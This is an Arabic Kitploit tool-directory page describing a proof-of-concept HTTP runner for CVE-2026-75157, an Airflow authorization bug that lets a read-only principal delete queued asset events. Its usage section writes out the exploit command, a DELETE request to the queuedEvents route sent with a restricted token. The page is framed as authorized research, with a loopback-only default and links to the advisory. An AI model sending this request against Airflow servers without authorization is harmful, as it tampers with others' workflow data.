Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-75157-poc — أداة HTTP PoC عالمية مستقلة ومرخّصة لـ CVE-2026-75157 | Kitploit
أدوات/GitHubGitHub/licitrasimone/cve-2026-75157-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIأمن الويباختبار الاختراق
GitHublicitrasimone/cve-2026-75157-poc

cve-2026-75157-poc

أداة HTTP PoC عالمية مستقلة ومرخّصة لـ CVE-2026-75157

عرض المستودع
منذ 7س 1دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-75157 PoC

إثبات مفهوم (PoC) لبحث أمني مُصرَّح به لثغرة التفويض في أحداث قائمة الانتظار (queued-events) في Apache Airflow في الإصدارات الأقدم من 3.3.2.

النطاق

شغِّل هذا فقط ضد نسخة Airflow تملكها أو لديك تصريح صريح باختبارها. يرفض المشغِّل الافتراضي الأهداف غير المحلية (non-loopback). لا يحتوي هذا المستودع على أي منطق للفحص أو تعداد الأهداف أو الاستمرارية أو سرقة بيانات الاعتماد أو الحمولات التدميرية.

الملفات

root@kitploit:~
README.md
poc.py

poc.py هو مشغِّل طلبات HTTP شامل وواعٍ بالهدف. يقبل عنوان URL الهدف، والطريقة، والمسار، والترويسات، والجسم، ومصدر المصادقة، والنتيجة المتوقعة من سطر الأوامر بدلاً من ترميز المضيف بشكل ثابت.

الاستخدام

فحص السلامة ضد مختبر Airflow محلي:

root@kitploit:~
python3 poc.py \
  --target http://127.0.0.1:18080 \
  --path /api/v2/monitor/health \
  --method GET \
  --expect-status 200 \
  --expect-body healthy

تشغيل الثغرة ضد نسخة Airflow محلية مصابة ومُعدَّة مسبقًا:

root@kitploit:~
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
  --target http://127.0.0.1:18080 \
  --path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
  --method DELETE \
  --bearer-env AIRFLOW_POC_TOKEN \
  --expect-status 204

يجب أن ينتمي الرمز (token) إلى هوية قابلة للتخلص منها (disposable principal) لديها صلاحية قراءة DAG وصلاحية حذف Assets. السلوك المصاب المتوقع هو أن الهوية المقيَّدة يمكنها حذف الحدث الموجود في قائمة الانتظار. يجب أن يرفض Airflow 3.3.2 أو أحدث الطلب نفسه ما لم تكن لدى الهوية أيضًا صلاحية تعديل DAG.

الخيارات

root@kitploit:~
--target URL              Required absolute HTTP(S) target
--path PATH               Optional path joined to --target
--method METHOD           GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value'    Repeatable request header
--bearer-env ENV          Read a bearer token from ENV without printing it
--json JSON               JSON request body
--body-file FILE          Raw request body
--expect-status STATUS    Repeatable expected status assertion
--expect-body TEXT        Repeatable response-body assertion
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback      Explicit opt-in for an authorized non-lab target

يُرجع المشغِّل رمز الخروج 0 عند نجاح التحقق، و1 عند أخطاء النطاق/النقل/الوسائط، و2 عند فشل تحقق HTTP. تُحجب قيم التفويض وملفات تعريف الارتباط (cookies) في المخرجات.

سياق الثغرة

قبل Airflow 3.3.2، كانت مسارات DELETE الخاصة بأحداث قائمة الانتظار تتحقق من محور DAG بصلاحية القراءة بدلاً من صلاحية التعديل. يُغيّر الإصلاح متطلب تفويض DAG إلى صلاحية مستوى الكتابة. يرسل هذا الـ PoC طلب HTTP الحقيقي؛ ولا ينشئ مستخدم المختبر أو تجهيزات قاعدة البيانات.

المراجع

  • https://www.openwall.com/lists/oss-security/2026/09/18/1
  • https://github.com/apache/airflow/pull/71736
  • https://airflow.apache.org/docs/apache-airflow/3.3.1/howto/docker-compose/index.html
  • https://airflow.apache.org/docs/apache-airflow-providers-fab/stable/auth-manager/access-control.html
تنزيل الأداة